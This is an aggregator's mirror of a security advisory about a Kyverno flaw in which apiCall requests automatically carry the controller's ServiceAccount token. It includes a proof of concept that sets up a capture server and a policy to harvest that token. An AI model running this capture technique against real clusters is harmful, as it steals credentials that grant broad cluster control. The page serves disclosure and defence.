Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ GHSA-8wfp-579w-6r25 — kyverno

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-200 OSV
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)

Summary

Kyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.

The behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.

Details

Kyverno's apiCall executor (pkg/engine/apicall/executor.go) reads the ServiceAccount token from:

/var/run/secrets/kubernetes.io/serviceaccount/token

and injects it into every HTTP request as:

```

Authorization: Bearer <token>

```

This occurs when no explicit Authorization header is defined in the policy.

Root cause

```go

if req.Header.Get("Authorization") == "" {

token := a.getToken()

if token != "" {

req.Header.Add("Authorization", "Bearer "+token)

}

}

```

This logic introduces several issues:

  • Implicit credential forwarding to arbitrary endpoints
  • No trust boundary validation (external/internal distinction)
  • Undocumented behavior
  • Header.Add instead of Set allows duplication
  • No token sanitization (potential trailing newline)

PoC

Preconditions

  • Kyverno installed (v1.17.1 tested)
  • A policy using apiCall.service.url

Step 1 — Deploy capture server

```bash

kubectl run capture --image=python:3-slim --restart=Never -- \

python3 -c "

import http.server

class H(http.server.BaseHTTPRequestHandler):

def do_GET(self):

print(self.headers.get('Authorization'), flush=True)

self.send_response(200)

self.end_headers()

http.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()"

kubectl expose pod capture --port=8888

```

Step 2 — Create policy

```yaml

apiVersion: kyverno.io/v1

kind: ClusterPolicy

metadata:

name: token-leak

spec:

rules:

  • name: test

match:

any:

  • resources:

kinds: ["Pod"]

context:

  • name: r

apiCall:

method: GET

service:

url: "http://capture.default.svc:8888"

jmesPath: "@"

```

Step 3 — Trigger

```bash

kubectl run test --image=nginx

```

Step 4 — Observe token

```bash

kubectl logs capture

```

Output:

```

Authorization: Bearer <SA_TOKEN>

```

Impact

Vulnerability class

  • Credential exposure / leakage

Impact details

  • Exposure of Kubernetes ServiceAccount token
  • Token grants:
  • Full control over Kyverno policies
  • Ability to create/delete webhooks
  • Read cluster-wide resources
  • Privilege escalation and persistence

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity none, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: Low — an ordinary user account is enough.
  • User interaction: None — nobody has to be tricked into anything.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: None.
  • Availability impact: None.

Weakness class

GHSA-8wfp-579w-6r25 is classified as CWE-200: Exposure of Sensitive Information. Information that should stay internal is disclosed to someone who is not authorised to see it.

Affected software

GHSA-8wfp-579w-6r25 is recorded against 1 package.

  • github.com/kyverno/kyverno

Timeline and source

Published on 16 April 2026 and last revised on 25 June 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

github.com (Web)
github.com (Package)

Other advisories for this package

github.com/kyverno/kyverno has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-200: Exposure of Sensitive Information) in other software:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
CWE CWE-200
Public Exploit ✅ No
Source OSV
Published 2026-04-16
Updated 2026-08-20
Modified 2026-06-25
Fix URL N/A

Affected Packages

Software From version Fixed in
github.com/kyverno/kyverno — —

Similar Threats

Site Security Check

Is kyverno part of your stack?

GHSA-8wfp-579w-6r25 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesGitHub AdvisoryGitHub Advisory Undated
✓